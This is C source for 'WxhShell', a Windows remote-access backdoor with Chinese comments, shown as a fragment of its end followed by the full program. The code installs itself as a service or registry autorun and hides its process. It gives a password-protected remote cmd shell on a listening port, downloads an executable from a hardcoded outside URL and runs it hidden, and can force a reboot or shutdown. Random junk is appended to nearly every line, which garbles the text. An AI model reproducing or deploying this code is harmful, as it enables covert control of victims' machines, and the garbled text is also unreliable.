    closesocket(wsh); 47(_5PFb#  
    ExitThread(0); Ag2~q  
    } }&+,y<>   
    break; _*UI}JtlS  
    } :q3w;B~  
  // 获取shell 3:Nc`tM_  
  case 's': { 3PvxU|*F  
    CmdShell(wsh); 1\,k^Je7  
    closesocket(wsh); Gjeb)Y6N  
    ExitThread(0); g"" 1\rc=  
    break; MJX4;nbl  
  } ??aO3Vm{  
  // 退出 A-L1vu;  
  case 'x': { I(7 GVYM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pqx?0 f)  
    CloseIt(wsh); jY\z+lW6A  
    break; >{ {ds--  
    } Fc[vs52  
  // 离开 \mLEwNhRY  
  case 'q': { `W}pA mhj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Ps.xY;Y  
    closesocket(wsh); G^ k8Or2  
    WSACleanup(); oJNQdW[  
    exit(1); Ns YEBT7f  
    break; { Zv%DV4_$  
        } <D:q4t  
  } !X: TieyVu  
  } Sr Nc  
s@&3;{F6D  
  // 提示信息 VDOC>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cxq |N]E  
} tvf.K+  
  } wz3X;1l`c  
JAKs [@:  
  return; 3mofp`e  
} nygGI_[l  
HD#>K 7  
// shell模块句柄 O)V;na  
int CmdShell(SOCKET sock) &8f/6dq  
{ h-"q <eY"  
STARTUPINFO si; *=B<S/0  
ZeroMemory(&si,sizeof(si)); e.L&A|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zQ:nL*X'Z"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y(`Bc8h  
PROCESS_INFORMATION ProcessInfo; Ga9iPv  
char cmdline[]="cmd"; WFc4(Kl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >{(c\oMD  
  return 0; k(tB+k!vH\  
} !21G $ [H  
UVLS?1ra  
// 自身启动模式 CLZ j=J2  
int StartFromService(void) ,F->*=  
{ G6{ PrV#  
typedef struct ?glx8@  
{ N:Q.6_%^  
  DWORD ExitStatus; 0sSBwG  
  DWORD PebBaseAddress; QZ(O2!Mg  
  DWORD AffinityMask; ~sn3_6{  
  DWORD BasePriority; ?s>_^xfD  
  ULONG UniqueProcessId; QqF*SaO>  
  ULONG InheritedFromUniqueProcessId; zqU$V~5;rG  
}   PROCESS_BASIC_INFORMATION; }\H. G  
jtfC3E,U  
PROCNTQSIP NtQueryInformationProcess; cM9> V2:P  
<,p$eQ)T%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #O~pf[[L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yn+m,K/  
xcl;~"c *  
  HANDLE             hProcess; 6(?@B^S>2  
  PROCESS_BASIC_INFORMATION pbi;  ^F?B_'  
20 $Tky_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A #SO}c  
  if(NULL == hInst ) return 0; c)Ef]E\  
9wc\~5{li  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =>>Dnp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r UZN$="N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #p;<X|Hc}8  
 h8p{  
  if (!NtQueryInformationProcess) return 0; jQz^)8)B  
RF6]_-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S.iUiS"  
  if(!hProcess) return 0; `ba<eT':  
\Qv:7;?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NR&a er  
X`v6gv5qj  
  CloseHandle(hProcess); (/&ht-~EL  
Q ijO%)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qu<HeSA_  
if(hProcess==NULL) return 0; 8Rw:SU9H?T  
dUn]aS  
HMODULE hMod; ( Ygy%O%  
char procName[255]; *3RD\.jPX  
unsigned long cbNeeded; liB~vdqj  
*a_QuEw _k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >>R)?24,<  
v(sS$2J|}  
  CloseHandle(hProcess); 4K;0.W;~|  
%^I 7=  
if(strstr(procName,"services")) return 1; // 以服务启动 vcy+p]6KE-  
Tnf&32 IA  
  return 0; // 注册表启动 h9c7P@29  
} yYk?K<ou  
$1Z3yb^  
// 主模块 -xH3}K%  
int StartWxhshell(LPSTR lpCmdLine) JP]4* l  
{ w+%p4VkA<r  
  SOCKET wsl; Y\1&  Uk  
BOOL val=TRUE; r 3T#Nv  
  int port=0; M tDJ1I%  
  struct sockaddr_in door; J{EK}'  
iu+H+_  
  if(wscfg.ws_autoins) Install(); ONcS,oHW  
lg (>n&  
port=atoi(lpCmdLine); kmfz.:j{  
=>TXo@rVN  
if(port<=0) port=wscfg.ws_port; sh<JB`^$(?  
8p~[8}  
  WSADATA data; b$Bq#vdg:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <C*%N;F5R  
}2?-kj7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Si#XF[/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _{i- .;K  
  door.sin_family = AF_INET; 99q$>nx,w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P/9|mYmsq  
  door.sin_port = htons(port); ]=0D~3o3  
+w3k_^X9c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Nhq)i  
closesocket(wsl); b{e|~v6&  
return 1; |TBKsx8  
} v}z{OB  
9EZh~tdV[  
  if(listen(wsl,2) == INVALID_SOCKET) { )i.\q   
closesocket(wsl); zpxy X|  
return 1; ? v@q&  
} );F /P0P  
  Wxhshell(wsl); @(tiPV  
  WSACleanup(); D>q?My  
;}4e+`fF|  
return 0; 1\,wV,  
g5&,l  
} 0jefV*3qpB  
'-X913eG!  
// 以NT服务方式启动 j7&0ckN&G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MdNV3:[\  
{ oxqD/fY  
DWORD   status = 0; dG]s_lb9H  
  DWORD   specificError = 0xfffffff; kmL~H1qd  
n)teX.ck)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iuq%Q\0@w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VrRBwvp-K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3D7phq>.q  
  serviceStatus.dwWin32ExitCode     = 0; F a'2i<  
  serviceStatus.dwServiceSpecificExitCode = 0; Uw_z9ZL  
  serviceStatus.dwCheckPoint       = 0; T/l2B1  
  serviceStatus.dwWaitHint       = 0; =:'a)o  
N` rOlEk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8|#p D4e  
  if (hServiceStatusHandle==0) return; 8[z& g%u  
?r6uEZ  
status = GetLastError(); fL1EQ)  
  if (status!=NO_ERROR) ze%)fZI0f  
{ HV6'0_R0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]O;Rzq{D(  
    serviceStatus.dwCheckPoint       = 0; )%5T*}j  
    serviceStatus.dwWaitHint       = 0; s*pgR=dZZ  
    serviceStatus.dwWin32ExitCode     = status; "Q@ZS2;A  
    serviceStatus.dwServiceSpecificExitCode = specificError; !tD,phca~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {YgB?kt5  
    return; }h)[>I(  
  } bQM_rqjJGw  
| [lM2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ddD $ 4+  
  serviceStatus.dwCheckPoint       = 0; R'r^v  
  serviceStatus.dwWaitHint       = 0; lFL iW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gobqS+c  
} Z66@@?`  
S}*%l)vfR  
// 处理NT服务事件,比如:启动、停止 @=[ SsS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )TcW.d6  
{ ~\m|pxcj  
switch(fdwControl) $.@)4Nu!_  
{ jlZW!$Iq  
case SERVICE_CONTROL_STOP: Ot} E  
  serviceStatus.dwWin32ExitCode = 0; sj@'C@oK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V<!E9/4rS  
  serviceStatus.dwCheckPoint   = 0; /\9X0a2h|E  
  serviceStatus.dwWaitHint     = 0; m<;&B   
  { sf5koe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); az]S&\i7T  
  } V+l>wMeo  
  return; Et+N4w  
case SERVICE_CONTROL_PAUSE: .ZrQ{~t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^dR5fAS  
  break; &H{KXX"X  
case SERVICE_CONTROL_CONTINUE: d98ZC+q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }A"%YDrNbG  
  break; LJMw-#61sj  
case SERVICE_CONTROL_INTERROGATE: }0Q6iHX@  
  break; 1vQj` F  
}; [Hww3+~+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Jm9,4]  
} 8W"~>7/>D  
eS jXaZh  
// 标准应用程序主函数 *lIK?"mo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %G$KahxV>  
{ bg)yl iX  
9c1n  
// 获取操作系统版本 ,wlh0;,  
OsIsNt=GetOsVer(); q*<Df=+B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t$Z#zx X  
!f \y3p*j  
  // 从命令行安装 E0}jEl/{  
  if(strpbrk(lpCmdLine,"iI")) Install(); g<Sa{<0  
zKWcDbj  
  // 下载执行文件 h2Z Gh  
if(wscfg.ws_downexe) { iCIu]6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z rt8ze=Su  
  WinExec(wscfg.ws_filenam,SW_HIDE); a-,BBM8|  
} @"H+QVJ@  
fmvv q1G&  
if(!OsIsNt) { ht S5<+Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 m(8t |~S  
HideProc(); @fbB3  
StartWxhshell(lpCmdLine); H0s,tTK8  
} g!O(@Sqp1  
else m4 *Rr  
  if(StartFromService()) cV5Lp4wY?  
  // 以服务方式启动 @qH<4`y.^  
  StartServiceCtrlDispatcher(DispatchTable); c)M_&?J!5  
else oM$EQd`7  
  // 普通方式启动 52>?l C  
  StartWxhshell(lpCmdLine); %9=^#e+pE  
q"A(l  
return 0; ;#!`c gAh  
} lFD$ Mc  
~'HwNzDQc  
^m{kn8  
!+T+BFw.  
=========================================== %?C{0(Z{  
gRKmfJ*u  
+MeEy{;  
JF_\A)<ki  
5HioxHL  
Xt/muV  
" <vA^%D<\~  
hsljJvs  
#include <stdio.h> }$;T.[ ~  
#include <string.h> fdzD6K ZI  
#include <windows.h> >=i47-H  
#include <winsock2.h> v. ,C"^W  
#include <winsvc.h> {JzX`Z30l  
#include <urlmon.h> .)B_~tct  
yU*j{>%RsK  
#pragma comment (lib, "Ws2_32.lib") lyx p:  
#pragma comment (lib, "urlmon.lib") 6pQ#Zg()vp  
^[8e|,U  
#define MAX_USER   100 // 最大客户端连接数 ^owEB%  
#define BUF_SOCK   200 // sock buffer X{ZBS^M  
#define KEY_BUFF   255 // 输入 buffer . dVo[m;  
QKbX^C  
#define REBOOT     0   // 重启 )D@1V=9,  
#define SHUTDOWN   1   // 关机 BJk\p.BVN  
6A/Nlk.  
#define DEF_PORT   5000 // 监听端口 NwuME/C7#  
$d!Sl a  
#define REG_LEN     16   // 注册表键长度 7Z"mVh}  
#define SVC_LEN     80   // NT服务名长度 Lqbu]  
W9Bl'e  
// 从dll定义API n4ce)N@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <<w $ Ur  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t[F tIj6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vBQ5-00YY=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2 ,;+)  
EH]5ZZ[Z  
// wxhshell配置信息 6U7z8NV&[  
struct WSCFG { I [0od+K  
  int ws_port;         // 监听端口 F1)Q#ThF\  
  char ws_passstr[REG_LEN]; // 口令 ,$sq]_t  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sy'/%[+goJ  
  char ws_regname[REG_LEN]; // 注册表键名 ev#d1s|<S  
  char ws_svcname[REG_LEN]; // 服务名 M{:gc7%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W UdKj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *6q8kQsz^1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \y: 0+s/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .F?yt5{5No  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <h U ZD;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9.lSF  
x-U:T.+{  
}; * C~  
23y7l=.b/  
// default Wxhshell configuration f3V&i)w(  
struct WSCFG wscfg={DEF_PORT, sxO_K^eD  
    "xuhuanlingzhe", rNqJL_!  
    1, nV McHN   
    "Wxhshell", HQaKG4Z  
    "Wxhshell", [lQp4xgxi  
            "WxhShell Service", ,ye>D='  
    "Wrsky Windows CmdShell Service", %g0"Kj5  
    "Please Input Your Password: ", ,<|EoravH  
  1, )dJM  
  "http://www.wrsky.com/wxhshell.exe", nPfVZGt  
  "Wxhshell.exe" <hdR:k@ #  
    }; //e.p6"8h  
_w^p~To^  
// 消息定义模块 C\.?3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?;|$R   
char *msg_ws_prompt="\n\r? for help\n\r#>"; aAwnkQ$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }o=R7n%  
char *msg_ws_ext="\n\rExit."; Gc4N)oq)}b  
char *msg_ws_end="\n\rQuit."; =@binTC4  
char *msg_ws_boot="\n\rReboot..."; cIja^xD  
char *msg_ws_poff="\n\rShutdown..."; %6L!JN  
char *msg_ws_down="\n\rSave to "; T6Ue\Sp'  
_xAdvr' W  
char *msg_ws_err="\n\rErr!"; @p|[7'  
char *msg_ws_ok="\n\rOK!"; {.H}+@0  
|vTirZP  
char ExeFile[MAX_PATH]; K,|Gtaa~  
int nUser = 0; s3_i5,y  
HANDLE handles[MAX_USER]; 2[9hl@=%  
int OsIsNt; Trbgg  
=d7lrx+z  
SERVICE_STATUS       serviceStatus; zBB4lC{q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "KW\:uc /  
QCa$<~c  
// 函数声明 >efYpd#^  
int Install(void); g*- K!X6l  
int Uninstall(void); i<bFF03*S  
int DownloadFile(char *sURL, SOCKET wsh); mmTc.x h  
int Boot(int flag); f&8&UL>e`  
void HideProc(void); TxN#3m?G  
int GetOsVer(void); A:p7\Kp;5}  
int Wxhshell(SOCKET wsl); 5^GUuFt5m  
void TalkWithClient(void *cs); H=Yl @  
int CmdShell(SOCKET sock); 5$GE3IER8  
int StartFromService(void); }/(fe`7:  
int StartWxhshell(LPSTR lpCmdLine); ?*4&Z.~J  
YqR MVWcnk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }3lM+]pf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0D|^S<z6  
o*f7/ZP1o  
// 数据结构和表定义 (IIOKx_  
SERVICE_TABLE_ENTRY DispatchTable[] = d|j3E  
{ 26 o68U8&y  
{wscfg.ws_svcname, NTServiceMain}, ` B : Ydf  
{NULL, NULL} A37Z;/H~k  
}; 3,oFT   
AJ^9[j}  
// 自我安装 pL.r 9T.  
int Install(void) zJ3{!E}`v  
{ &Zd{ElM  
  char svExeFile[MAX_PATH]; m,Q<4'  
  HKEY key; H:,rNaz7D^  
  strcpy(svExeFile,ExeFile); jp=^$rS6[  
C% }FVO\c  
// 如果是win9x系统,修改注册表设为自启动 2Ev~[Hb.  
if(!OsIsNt) { lY.FmF}k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mZ7.#R*}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lmj73OB3  
  RegCloseKey(key); {\;CGoN|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gow_a'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *vCJTz  
  RegCloseKey(key); E:&=A 4 %  
  return 0; .FqbX5\p,  
    } Ga.a"\F.V  
  } b0 PF7PEEQ  
} r<UZ\d -  
else { Xv]O1fcI  
fk#SD "iJ  
// 如果是NT以上系统,安装为系统服务 HS="t3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TN.mNl%  
if (schSCManager!=0) 1 q}iUnR  
{ tP"C >#LO  
  SC_HANDLE schService = CreateService zK k;&y|{  
  ( k~`pV/6  
  schSCManager, \uQ(-ji  
  wscfg.ws_svcname, B3c rms['  
  wscfg.ws_svcdisp, Cbx/  
  SERVICE_ALL_ACCESS, *S:^3{.m=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \[B5j0vV,  
  SERVICE_AUTO_START, &P&M6v+  
  SERVICE_ERROR_NORMAL, Zh{Pzyp  
  svExeFile, yJppPIW^  
  NULL, -% 5*c61  
  NULL, (pREo/T  
  NULL, < :<E~anH  
  NULL, 9Fv1D  
  NULL XBF#ILJ  
  ); owmV7E1  
  if (schService!=0) ] 8+!  
  { 2?z3s|+[  
  CloseServiceHandle(schService); L'H'E,  
  CloseServiceHandle(schSCManager); 52C>f6w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `rbTB3?  
  strcat(svExeFile,wscfg.ws_svcname); 7xO =:*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P"XF|*^U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QuT8(s1Q!  
  RegCloseKey(key); % E3  
  return 0; (Z,v)TOXjV  
    } =v:vc~G6  
  } GXYmJ4wR  
  CloseServiceHandle(schSCManager); [ZZ~^U5  
} Kxn/@@z>u  
} %qV=PC  
4sP0oe[h  
return 1; Xg^`fRg =T  
} UP58Cln*  
X#Y0g`muW  
// 自我卸载 =XzrmPu  
int Uninstall(void) GXr9J rs.e  
{ K#%L6=t$<  
  HKEY key; :p;!\4)u  
Ew*_@hVC  
if(!OsIsNt) { <ZSH1~<{6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V\W?@V9g-  
  RegDeleteValue(key,wscfg.ws_regname); x{*g^f  
  RegCloseKey(key); kl?U 2A.=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { re2M!m6k5  
  RegDeleteValue(key,wscfg.ws_regname); 4`I2tr  
  RegCloseKey(key); FDbb/6ku  
  return 0; |cEJRs@B  
  } :rk=(=@8`  
} fIN F;TK  
} qg7.E+  
else { )M<"YI)g  
-+Axa[,5=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9y{[@KG  
if (schSCManager!=0) =3]}87  
{ F=7X,hK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6NPCp/  
  if (schService!=0) MCZTeYnx  
  { !g  #  
  if(DeleteService(schService)!=0) { jV2L;APCq  
  CloseServiceHandle(schService); 6}6;%{p"Gu  
  CloseServiceHandle(schSCManager); $A;jl`ng  
  return 0; UOJx-o!c?  
  } B8F.}M-!  
  CloseServiceHandle(schService); |L}zB,  
  } $sTbFY  
  CloseServiceHandle(schSCManager);  0w>V![  
} `O?Kftv*  
} V7U&8UPb  
"1FPe63\*O  
return 1; DzydS=`w  
} V7[6jW gH  
E (  
// 从指定url下载文件 0x7F~%%2  
int DownloadFile(char *sURL, SOCKET wsh) V(I!HT5.W  
{ x$Y44v'>  
  HRESULT hr; t~U:Ea[gd  
char seps[]= "/"; X; I:i%-  
char *token; /2N'SOX  
char *file;  s6bILz-u  
char myURL[MAX_PATH]; ~b}a|K  
char myFILE[MAX_PATH]; 0{^@kxV  
|5oK04<  
strcpy(myURL,sURL); GqMa|8j  
  token=strtok(myURL,seps); c7UmR?m  
  while(token!=NULL) V T8PV5z  
  { jd8`D6|Z  
    file=token; f4UnLig  
  token=strtok(NULL,seps); *oopdGue  
  } ZUePHI-dP  
Q97F5ru6  
GetCurrentDirectory(MAX_PATH,myFILE); " !F)K  
strcat(myFILE, "\\"); \UA\0p  
strcat(myFILE, file); }(k#,&Fv`  
  send(wsh,myFILE,strlen(myFILE),0); TUHm.!+a  
send(wsh,"...",3,0); B~+3<#B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +Z> Y//  
  if(hr==S_OK) =r"-Pm{  
return 0; &|yQwNA*a"  
else ~QgyhJM_h=  
return 1; TRP#b 7nC  
q.0Evr:  
} !~Vo'ykwx'  
4<}!+X7m  
// 系统电源模块 > %h7)}U  
int Boot(int flag) 5.m&93P  
{ }<R,)ZV^G  
  HANDLE hToken; iO1ir+B\  
  TOKEN_PRIVILEGES tkp; ;;e\"%}@=q  
w0qrh\3du  
  if(OsIsNt) { `EKmp|B_p_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G&,1 NjSi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I@Cq<:+(3  
    tkp.PrivilegeCount = 1; :btb|^C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  lS@0 $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MDV<[${   
if(flag==REBOOT) { ?YE'J~0A6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -#<6  
  return 0; DJ_[{WAV  
} b-? wJSf|  
else { eS#kDa/ %  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5Ku=Xzvq  
  return 0; & -r^Q  
} krqz;q-p~  
  } S!+c1q: ].  
  else { r-^FM~Jp  
if(flag==REBOOT) { h?_Cv*0q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `HVS}}{a  
  return 0; J]&^A$  
} "/e_[_j  
else { (LiS9|J!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :ohGG ,`Dh  
  return 0; a ?D]]0%  
} zT<fTFJ1  
} I=aoP}_  
42/MBP`\Y  
return 1; (rKyX:Vsy  
} {!RDb'Zp  
f3yH4r?;w  
// win9x进程隐藏模块 7Qdf#DG  
void HideProc(void) U ?iw  
{ #jrtsv]  
E_q/*}]pE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L hp  
  if ( hKernel != NULL ) x,wXR=H  
  { V52>K$j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @JW HG1qJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (g" {A  
    FreeLibrary(hKernel); 0gRj3al(  
  } 8Z&M}Llk  
,LE15},  
return; vCvjb\S  
} *y+N-uq  
1G}f83yR  
// 获取操作系统版本 4^r4O#  
int GetOsVer(void) V}3'0  
{ tIK`/)w,  
  OSVERSIONINFO winfo; _+!@c6k)ra  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @},|i*H/  
  GetVersionEx(&winfo); R*[X. H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Lus,l\  
  return 1; :g%hT$,]3b  
  else WCNycH+1  
  return 0; -L-#-dK'  
} 2[Ofa(mkkp  
sKy3('5;  
// 客户端句柄模块 <OH{7>V  
int Wxhshell(SOCKET wsl) WCTmf8f  
{ =Bg $OX  
  SOCKET wsh; #B!| sXC  
  struct sockaddr_in client; jJY{np  
  DWORD myID; w"`Zf7a{/  
Z8Iqgz7|y  
  while(nUser<MAX_USER) v)p'0F#6A  
{ !dQmg'_V  
  int nSize=sizeof(client);  =oE(ur  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~<N9ckK  
  if(wsh==INVALID_SOCKET) return 1; =K)[3mX X  
{EfA#{x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QdIx@[+WOq  
if(handles[nUser]==0) _sb~eB~<(  
  closesocket(wsh); vAh'6Ob7r  
else -Oi8]Xw^@y  
  nUser++; @T"-%L8PL  
  } [psZc'q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dhX$b!DA  
^h$^j  
  return 0; [vGkr" =  
} O~Jm<  
DsB30  
// 关闭 socket 57fl<IM  
void CloseIt(SOCKET wsh) 4wMZNa<Sx  
{ y Nc@K|  
closesocket(wsh); ?gsPHPUS  
nUser--; aD(3.=[R  
ExitThread(0); KuRJo]  
} /78zs-  
;J@U){R  
// 客户端请求句柄 KqN;a i,F  
void TalkWithClient(void *cs) 4U8N7  
{ )x,/+R]{8l  
GE8.{P  
  SOCKET wsh=(SOCKET)cs; u`.3\Geh  
  char pwd[SVC_LEN]; 4s e6+oJe  
  char cmd[KEY_BUFF]; E<ILZpP  
char chr[1]; r6eZ-V`4  
int i,j; Kv9$c(~#  
n^q%_60H   
  while (nUser < MAX_USER) { lak,lDt]  
%[4u #G`  
if(wscfg.ws_passstr) {  >akC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4tEAi4H|`@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NXk~o!D  
  //ZeroMemory(pwd,KEY_BUFF); F pT$D  
      i=0; )Q 5 x%  
  while(i<SVC_LEN) { dWx@<(`OC  
d,b]#fj  
  // 设置超时 i zYC0T9  
  fd_set FdRead; ken.#>w  
  struct timeval TimeOut; SiYH@Wma  
  FD_ZERO(&FdRead); P L7(0b%  
  FD_SET(wsh,&FdRead); QuP)j1"X  
  TimeOut.tv_sec=8; q@G}Hjn  
  TimeOut.tv_usec=0; bv;. 6C(T<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v.- r %j{I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d8uDSy  
]K3bDU~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .kU}x3m  
  pwd=chr[0]; U(PW$\l  
  if(chr[0]==0xd || chr[0]==0xa) { oTRid G  
  pwd=0; A0>r]<y  
  break; i&1rf|  
  } C B`7KK  
  i++; Gshy$'_e  
    } EJP]E)  
'6kD6o_p1  
  // 如果是非法用户,关闭 socket E/hT/BOPK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cij8'( "+!  
} oiIl\#C  
VJ8'T"^Hf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ny%$BQM=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (j~T7og  
=:Yrb2gP_\  
while(1) { VP~(;H5%  
!7f,gvk  
  ZeroMemory(cmd,KEY_BUFF); lUaJC'~p  
33 S CHQ  
      // 自动支持客户端 telnet标准   cV"Ov@_.k  
  j=0; v8WT?%  
  while(j<KEY_BUFF) { z9:yt5ar  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (&1.!R[X  
  cmd[j]=chr[0]; ]bAVOKm-  
  if(chr[0]==0xa || chr[0]==0xd) { =]5f\f6  
  cmd[j]=0; +J85Re `  
  break; kS35X)-  
  } ^D]J68)#a  
  j++; blWtC/!Aq;  
    } H|0-Al.{  
/k[8xb  
  // 下载文件 W':b6}?  
  if(strstr(cmd,"http://")) { ,>01Cs=t8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x#5vdBf  
  if(DownloadFile(cmd,wsh)) h-//v~V)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tUuARo7#  
  else '=O1n H<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D^2lb"3  
  }  H2oxD$s  
  else { !-N!Bt8;  
qe'ssX;  
    switch(cmd[0]) { )7]yzc  
  SuB8mPn  
  // 帮助 /\_n5XI1  
  case '?': { +I-BqA9  
